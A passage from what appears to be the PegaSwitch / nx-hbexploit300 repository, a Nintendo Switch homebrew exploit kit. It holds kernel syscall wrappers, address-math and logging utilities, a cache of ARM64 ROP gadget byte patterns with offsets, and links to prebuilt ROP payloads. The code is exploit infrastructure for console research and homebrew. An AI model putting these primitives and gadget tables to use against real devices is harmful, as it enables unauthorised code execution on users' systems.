= new Uint32Array(2); 186 | 187 | var memperms = ['NONE', 'R', 'W', 'RW', 'X', 'RX', 'WX', 'RWX']; 188 | var memstates = ['NONE', 'IO', 'NORMAL', 'CODE-STATIC', 'CODE', 'HEAP', 'SHARED-MEM', 'WEIRD-SHARED-MEM', 'MODULE-CODE-STATIC', 'MODULE-CODE', 'IPC-BUF-0', 'MEM-MAP', 'THREAD-LOCAL-STORAGE', 'TRANSFER-MEMORY-ISOLATED', 'TRANSFER-MEMORY', 'PROCESS-MEMORY', 'RESERVED', 'IPC-BUF-1', 'IPC-BUF-3', 'KERN-STACK']; 189 | return this.svcWithResult(0x6, [meminfo, pageinfo, addr]).map(() => { 190 | var ms = meminfo[4]; 191 | if (!raw && ms < memstates.length) { ms = memstates[ms]; } else if (!raw) { ms = 'UNKNOWN'; } 192 | var mp = meminfo[6]; 193 | if (!raw && mp < memperms.length) { mp = memperms[mp]; } 194 | 195 | return [[meminfo[0], meminfo[1]], [meminfo[2], meminfo[3]], ms, mp, [pageinfo[0], pageinfo[1]]]; 196 | }); 197 | }; 198 | 199 | svcMixin.svcCloseHandle = function (handle) { 200 | return this.svcWithResult(0x16, [handle]); 201 | }; 202 | 203 | svcMixin.svcConnectToPort = function (portName) { 204 | var handleBuffer = new Uint32Array(2); 205 | var ret = this.svcWithResult(0x1F, [handleBuffer, utils.str2ab(portName)]).replaceValue([handleBuffer[0], handleBuffer[1]]); 206 | return ret; 207 | }; 208 | 209 | svcMixin.svcSendSyncRequestWithUserBuffer = function (addr, size, handle) { 210 | return this.svcWithResult(0x22, [addr, size, handle]); 211 | }; 212 | 213 | svcMixin.svcCreateThread = function (entry, arg, stacktop, prio, processorId) { 214 | var handleBuffer = new Uint32Array(2); 215 | return this.svcWithResult(0x8, [handleBuffer, entry, arg, stacktop, prio, processorId]).replaceValue([handleBuffer[0], handleBuffer[1]]); 216 | }; 217 | 218 | svcMixin.svcStartThread = function (handle) { 219 | return this.svcWithResult(0x9, [handle]); 220 | }; 221 | 222 | svcMixin.svcAcceptSession = function (port) { 223 | var handleBuffer = new Uint32Array(2); 224 | return this.svcWithResult(0x41, [handleBuffer, port]).replaceValue(handleBuffer[0]); 225 | }; 226 | 227 | svcMixin.svcReplyAndReceiveWithUserBuffer = function (buf, handles, reply, timeout) { 228 | var handleIdxBuffer = new Uint32Array(2); 229 | return this.svcWithResult(0x44, [handleIdxBuffer, buf, buf.byteLength, handles ? new Uint32Array(handles) : 0, handles ? handles.length : 0, reply, timeout]).replaceValue(handleIdxBuffer[0]); 230 | }; 231 | 232 | svcMixin.svcWaitSynchronization = function (handles, timeout) { 233 | var handlesBuffer = new Uint32Array(handles); 234 | var handleIdxBuffer = new Uint32Array(1); 235 | return this.svcWithResult(0x18, [handleIdxBuffer, handlesBuffer, handlesBuffer.length, timeout]).replaceValue(handleIdxBuffer[0]); 236 | } 237 | 238 | module.exports = svcMixin; 239 | -------------------------------------------------------------------------------- /pegaswitch/exploit/utils.js: -------------------------------------------------------------------------------- 1 | /* eslint no-global-assign: "off" */ 2 | /* global XMLHttpRequest */ 3 | var DEBUG = false; 4 | 5 | var utils = exports; 6 | 7 | exports.paddr = function paddr (lo, hi) { 8 | if (arguments.length === 1) { 9 | hi = lo[1]; 10 | lo = lo[0]; 11 | } 12 | var slo = ('00000000' + lo.toString(16)).slice(-8); 13 | var shi = ('00000000' + hi.toString(16)).slice(-8); 14 | return '0x' + shi + slo; 15 | }; 16 | 17 | exports.parseAddr = function parseAddr (addr) { 18 | addr = "0000000000000000" + addr.replace('0x', ''); 19 | addr = addr.slice(addr.length - 16); 20 | var arr = [addr.slice(0, 8), addr.slice(8, 16)]; 21 | var hi = parseInt(arr[0], 16); 22 | var lo = parseInt(arr[1], 16); 23 | return [ lo, hi ]; 24 | }; 25 | 26 | exports.nullptr = function nullptr (addr) { 27 | return addr[0] === 0 && addr[1] === 0; 28 | }; 29 | 30 | exports.eq = function eq (a, b) { 31 | return a[0] === b[0] && a[1] === b[1]; 32 | }; 33 | 34 | exports.add2 = function add2 (addr, off) { 35 | if (typeof off === 'number') { 36 | if (off >= 0) { 37 | off = [off, 0]; 38 | } else { 39 | off = [(0xFFFFFFFF + off + 1) >>> 0, 0xFFFFFFFF]; 40 | } 41 | } 42 | 43 | var alo = addr[0]; 44 | var ahi = addr[1]; 45 | var blo = off[0]; 46 | var bhi = off[1]; 47 | 48 | var nlo = ((alo + blo) & 0xFFFFFFFF) >>> 0; 49 | var nhi = ((ahi + bhi) & 0xFFFFFFFF) >>> 0; 50 | 51 | if ((nlo < alo && blo > 0) || (nlo === alo && blo !== 0)) { 52 | nhi = ((nhi + 1) & 0xFFFFFFFF) >>> 0; 53 | } else if (nlo > alo && blo < 0) { 54 | nhi = ((nhi - 1) & 0xFFFFFFFF) >>> 0; 55 | } 56 | 57 | return [nlo, nhi]; 58 | }; 59 | 60 | exports.sub2 = function sub2 (addr, off) { 61 | if (typeof off === 'number') { 62 | if (off >= 0) { 63 | off = [off, 0]; 64 | } else { 65 | off = [(0xFFFFFFFF + off + 1) >>> 0, 0xFFFFFFFF]; 66 | } 67 | } 68 | 69 | off = exports.add2([off[0] ^ 0xFFFFFFFF, off[1] ^ 0xFFFFFFFF], 1); 70 | return exports.add2(addr, off); 71 | }; 72 | 73 | exports.send = function send (ep, data) { 74 | var msg = { 75 | msg: data 76 | }; 77 | var jsonstr = JSON.stringify(msg); 78 | try { 79 | var xhr = new XMLHttpRequest(); 80 | xhr.open('POST', '/' + ep, false); 81 | xhr.setRequestHeader('Content-Type', 'application/json'); 82 | xhr.send(jsonstr); 83 | } catch (e) { 84 | 85 | } 86 | }; 87 | 88 | exports.pushCache = function pushCache (cache) { 89 | exports.send('cache', cache); 90 | }; 91 | 92 | exports.dlog = function dlog (msg) { 93 | if (DEBUG) { 94 | log(msg); 95 | } 96 | }; 97 | 98 | exports.toHex = function (d) { 99 | return d.toString(16); 100 | }; 101 | 102 | /* 103 | example: 104 | utils.packBitfield([ 105 | {targetBegin: 16, size: 4}, 106 | {targetBegin: 20, targetEnd: 24}, 107 | {targetBegin: 24, size: 4, sourceBegin: 2}], [5, 6, 7]) 108 | */ 109 | exports.packBitfield = function (spec, values) { 110 | var bitfield = 0; 111 | if(spec.length !== values.length) { 112 | throw "bitfield spec doesn't match number of provided values"; 113 | } 114 | for(var i = 0; i < spec.length; i++) { 115 | var s = spec[i]; 116 | var v = values[i]; 117 | 118 | var tb = s.targetBegin; 119 | var te; 120 | var sb = s.sourceBegin === undefined ? 0 : s.sourceBegin; 121 | var se; 122 | var size; 123 | if(s.targetEnd && !s.size && !s.sourceEnd) { 124 | te = s.targetEnd; 125 | size = s.targetEnd - tb; 126 | se = sb + size; 127 | } else if(s.size && !s.targetEnd && !s.sourceEnd) { 128 | te = s.targetBegin + s.size; 129 | se = sb + s.size; 130 | size = s.size; 131 | } else if(s.sourceEnd && !s.size && !s.targetEnd) { 132 | se = s.sourceEnd; 133 | size = s.sourceEnd - sb; 134 | te = s.tb + size; 135 | } else if(s.targetEnd - tb === s.sourceEnd - sb) { 136 | size = s.targetEnd - tb; 137 | if(s.size && s.size !== size) { 138 | throw "size does not match"; 139 | } 140 | } else { 141 | throw "bitfield spec number " + i + " needs one of targetEnd, size, or sourceEnd"; 142 | } 143 | 144 | bitfield = bitfield | (((v >> sb) & ((1< { 152 | var tb = s.targetBegin; 153 | var te; 154 | var sb = s.sourceBegin === undefined ? 0 : s.sourceBegin; 155 | var se; 156 | var size; 157 | if(s.targetEnd && !s.size && !s.sourceEnd) { 158 | te = s.targetEnd; 159 | size = s.targetEnd - tb; 160 | se = sb + size; 161 | } else if(s.size && !s.targetEnd && !s.sourceEnd) { 162 | te = s.targetBegin + s.size; 163 | se = sb + s.size; 164 | size = s.size; 165 | } else if(s.sourceEnd && !s.size && !s.targetEnd) { 166 | se = s.sourceEnd; 167 | size = s.sourceEnd - sb; 168 | te = s.tb + size; 169 | } else if(s.targetEnd - tb === s.sourceEnd - sb) { 170 | size = s.targetEnd - tb; 171 | if(s.size && s.size !== size) { 172 | throw "size does not match"; 173 | } 174 | } else { 175 | throw "bitfield spec number " + i + " needs one of targetEnd, size, or sourceEnd"; 176 | } 177 | 178 | return ((bitfield >> tb) & ((1< 0xFFFFFFFF) { 187 | throw new Error("too large for u32"); 188 | } 189 | if(num < 0) { 190 | throw new Error("expected positive integer"); 191 | } 192 | return num; 193 | }; 194 | 195 | exports.assertu64 = function (arr) { 196 | if(!Array.isArray(arr)) { 197 | throw new Error("expected array"); 198 | } 199 | if(arr.length !== 2) { 200 | throw new Error("expected [lo, hi] pair"); 201 | } 202 | return [this.assertu32(arr[0]), this.assertu32(arr[1])]; 203 | }; 204 | 205 | exports.trunc32 = function (num) { 206 | if(Array.isArray(num)) { 207 | if(num[1] !== 0) { 208 | throw new Error("high 32 bits must be clear"); 209 | } 210 | return this.assertu32(num[0]); 211 | } else if(typeof(num) === "number") { 212 | return this.assertu32(num); 213 | } else { 214 | throw new Error("expected [lo,hi] or u32"); 215 | } 216 | }; 217 | 218 | // truncate to less than 32 bits, will always return number 219 | // throw when truncating non-zero bits 220 | exports.trunclt32 = function (num, bits) { 221 | if(bits > 32) { 222 | throw new Error("can't truncate > 32 bits with trunclt32"); 223 | } 224 | if(Array.isArray(num) && this.assertu64(num)) { 225 | if(num[1] !== 0) { 226 | throw new Error("high " + (64-bits) + " bits must be clear"); 227 | } 228 | num = this.assertu32(num[0]); 229 | } else if(typeof(num) === "number") { 230 | num = this.assertu32(num); 231 | } else { 232 | throw new Error("expected [lo,hi] or u32"); 233 | } 234 | // for some reason, a >> 32 == a. that makes literally no sense. 235 | if(bits == 32 ? 0 : (num >> bits) > 0) { 236 | throw new Error("number is too large for " + bits + " bits"); 237 | } 238 | return num; 239 | }; 240 | 241 | // truncate to less than 64 bits, will always return [lo, hi] 242 | // throw when truncating non-zero bits 243 | exports.trunclt64 = function (num, bits) { 244 | num = this.pad64(num); 245 | if(this.bits <= 32) { 246 | return [this.trunclt32(num), 0]; 247 | } 248 | // for some reason, a >> 32 == a. that makes literally no sense. 249 | if(bits == 64 ? 0 : (num[1] >> (bits-32)) > 0) { 250 | throw new Error("number is too large for " + bits + " bits"); 251 | } 252 | return num; 253 | }; 254 | 255 | exports.pad64 = function (num) { 256 | if(Array.isArray(num)) { 257 | return this.assertu64(num); 258 | } else if(typeof(num) === "number") { 259 | return [this.assertu32(num), 0]; 260 | } else { 261 | throw new Error("expected [lo,hi] or number"); 262 | } 263 | }; 264 | 265 | console = { 266 | log: function (msg) { 267 | exports.send('log', msg); 268 | } 269 | }; 270 | 271 | var log = console.log; 272 | 273 | exports.log = log; 274 | 275 | exports.dump = function (name, buf, count) { 276 | for (var j = 0; j < count; ++j) { utils.log(name + '[' + j + '] == 0x' + buf[j].toString(16)); } 277 | }; 278 | 279 | exports.hexdump = function (name, inp, count) { 280 | var buf; 281 | var u8b; 282 | 283 | if (inp instanceof ArrayBuffer || inp instanceof Uint32Array) { 284 | buf = inp; 285 | u8b = new Uint8Array((inp instanceof ArrayBuffer) ? buf : buf.buffer); 286 | if (count === undefined) { 287 | count = u8b.length; 288 | } 289 | } else { 290 | buf = new ArrayBuffer(inp.length * 4); 291 | var u32b = new Uint32Array(buf); 292 | u8b = new Uint8Array(buf); 293 | if (count === undefined) { 294 | count = u8b.length; 295 | } 296 | for (var i = 0; i < inp.length && i < count; i++) { 297 | u32b[i] = inp[i]; 298 | } 299 | } 300 | var rows = Math.ceil(count / 16.0); 301 | var addrColumnWidth = (name + '+0x' + (rows * 16).toString(16)).length; 302 | var dumpWidth = (3 * 16) + 1; // 2 characters + 1 space for each of the 16 bytes, and the space between u32s 303 | 304 | function rjust (string, width, chr) { 305 | var fill = ''; 306 | while (fill.length < width - string.length) { 307 | fill += chr; 308 | } 309 | return fill + string; 310 | } 311 | 312 | function ljust (string, width, chr) { 313 | var fill = ''; 314 | while (fill.length < width - string.length) { 315 | fill += chr; 316 | } 317 | return string + fill; 318 | } 319 | 320 | for (i = 0; i < rows; i++) { 321 | var offset = i * 16; 322 | var hexlinedump = ''; 323 | var asciilinedump = ''; 324 | for (var j = 0; j < 16 && offset + j < count; j++) { 325 | if (j !== 0) { 326 | hexlinedump += ' '; 327 | } 328 | hexlinedump += rjust(u8b[offset + j].toString(16), 2, '0'); 329 | if (j === 7) hexlinedump += ' '; 330 | 331 | asciilinedump += String.fromCharCode(u8b[offset + j]).replace(/[^\x20-\x7E]+/g, '.'); 332 | } 333 | var linedump = ljust(hexlinedump, dumpWidth, ' ') + '| ' + ljust(asciilinedump, 16, ' ') + ' |'; 334 | utils.log(ljust(name + '+0x' + offset.toString(16), addrColumnWidth, ' ') + ' | ' + linedump); 335 | } 336 | }; 337 | 338 | exports.str2ab = function (str, length) { 339 | if(length === undefined) { 340 | length = str.length + 1; 341 | } else { 342 | if(length < str.length + 1) { 343 | throw new Error("buffer is too small to pack string"); 344 | } 345 | } 346 | var ab = new ArrayBuffer(length); 347 | var u8 = new Uint8Array(ab); 348 | for (var i = 0; i < str.length; i++) { 349 | u8[i] = str.charCodeAt(i); 350 | } 351 | u8[str.length + 1] = 0; 352 | return ab; 353 | }; 354 | 355 | exports.u8a2str = function (u8) { 356 | var str = ""; 357 | for (var i = 0; i < u8.length; i++) { 358 | str+= String.fromCharCode(u8[i]); 359 | } 360 | return str; 361 | }; 362 | 363 | exports.u8a2nullstr = function (u8) { 364 | var str = ""; 365 | for (var i = 0; i < u8.length; i++) { 366 | if(u8[i] === 0) { 367 | break; 368 | } 369 | str+= String.fromCharCode(u8[i]); 370 | } 371 | return str; 372 | }; 373 | 374 | exports.str2u64 = function (inp) { 375 | if (inp.length > 8) { 376 | throw new Error("string too long"); 377 | } 378 | if (inp.length === 0) { 379 | return [0, 0]; 380 | } 381 | var len = 8; 382 | var buf = new ArrayBuffer(len); 383 | var u8b = new Uint8Array(buf); 384 | for (var j = 0; j < inp.length; ++j) { u8b[j] = inp.charCodeAt(j); } 385 | for (j = inp.length; j < len; ++j) { u8b[j] = 0; } 386 | 387 | var u32b = new Uint32Array(buf); 388 | return [u32b[0], u32b[1]]; 389 | }; 390 | -------------------------------------------------------------------------------- /pegaswitch/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "pegaswitch", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "start.js", 6 | "scripts": { 7 | "start": "node start.js", 8 | "test": "echo \"Error: no test specified\" && exit 1", 9 | "docs:generate": "documentation build -f html -o docs ./exploit/**.js", 10 | "docs:serve": "documentation serve ./exploit/**.js" 11 | }, 12 | "repository": { 13 | "type": "git", 14 | "url": "git+https://github.com/reswitched/Pegaswitch.git" 15 | }, 16 | "author": "ReSwitched Team", 17 | "license": "ISC", 18 | "bugs": { 19 | "url": "https://github.com/reswitched/Pegaswitch/issues" 20 | }, 21 | "homepage": "https://github.com/reswitched/Pegaswitch#readme", 22 | "dependencies": { 23 | "blessed": "^0.1.81", 24 | "blessed-contrib": "^4.7.5", 25 | "body-parser": "^1.17.1", 26 | "browserify": "^14.1.0", 27 | "colors": "^1.1.2", 28 | "dnsd": "^0.9.6", 29 | "easy-table": "^1.1.0", 30 | "exorcist": "^0.4.0", 31 | "express": "^4.15.2", 32 | "ip": "^1.1.5", 33 | "mkdirp": "^0.5.1", 34 | "pty.js": "^0.3.1", 35 | "repl.history": "^0.1.4", 36 | "reserved-words": "^0.1.1", 37 | "source-map": "^0.5.6", 38 | "string-argv": "0.0.2", 39 | "term.js": "0.0.7", 40 | "ws": "^2.2.0", 41 | "yargs": "^7.0.2" 42 | }, 43 | "devDependencies": { 44 | "documentation": "^5.3.2", 45 | "eslint": "^4.6.1" 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /prebuilt/cache: -------------------------------------------------------------------------------- 1 | {"0,4,0,169,2,12,1,169,4,20,2,169,6,28,3,169":4572004,"2,12,65,169,4,20,66,169,6,28,67,169,8,36,68,169":4582832,"128,2,63,214,253,123,66,169,244,79,65,169,255,195,0,145,192,3,95,214":11549784,"253,123,66,169,244,79,65,169,255,195,0,145,192,3,95,214":21568,"253,123,65,169,128,2,0,249,244,79,194,168,192,3,95,214":1045332,"253,123,65,169,224,3,19,170,243,7,66,248,192,3,95,214":11064,"0,4,64,249,192,3,95,214":1972720,"0,8,64,249,192,3,95,214":58972,"255,3,1,209,244,79,2,169,253,123,3,169,253,195,0,145,115,-1,-1,-1,115,-1,-1,-1,96,34,0,145,8,252,223,8,72,1,0,55":224748,"224,3,31,170,192,3,95,214":301496,"249,15,27,248,248,95,1,169,246,87,2,169,244,79,3,169,253,123,4,169,253,3,1,145,243,3,0,170,121,6,64,249,104,146,64,57":13809700,"224,15,31,248,225,3,0,212":4109244,"65,4,0,212,192,3,95,214":4109276,"253,123,65,169,96,2,0,249,243,7,66,248,192,3,95,214":304144,"224,7,64,249,253,123,65,169,255,131,0,145,192,3,95,214":176220,"253,123,193,168,0,2,31,214":4020224,"243,23,64,249,253,123,67,169,255,3,1,145,192,3,95,214":492256,"65,1,0,212":4109012,"193,2,0,212,192,3,95,214":4109164,"235,3,1,203,105,9,64,146,63,1,2,235,98,2,0,84,201,2,0,180,232,3,1,170,234,3,0,170":4622924,"225,15,31,248,193,0,0,212":4108948} 2 | -------------------------------------------------------------------------------- /prebuilt/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 59 | 60 | 61 | 62 |
63 |
64 |
65 |

Homebrew Launcher

66 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /prebuilt/installer.nro: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/switchbrew/nx-hbexploit300/7a93a2404336c777ecc95fdb708b6fc0b1fa9125/prebuilt/installer.nro -------------------------------------------------------------------------------- /prebuilt/rop.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/switchbrew/nx-hbexploit300/7a93a2404336c777ecc95fdb708b6fc0b1fa9125/prebuilt/rop.bin -------------------------------------------------------------------------------- /prebuilt/rop_relocs.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/switchbrew/nx-hbexploit300/7a93a2404336c777ecc95fdb708b6fc0b1fa9125/prebuilt/rop_relocs.bin --------------------------------------------------------------------------------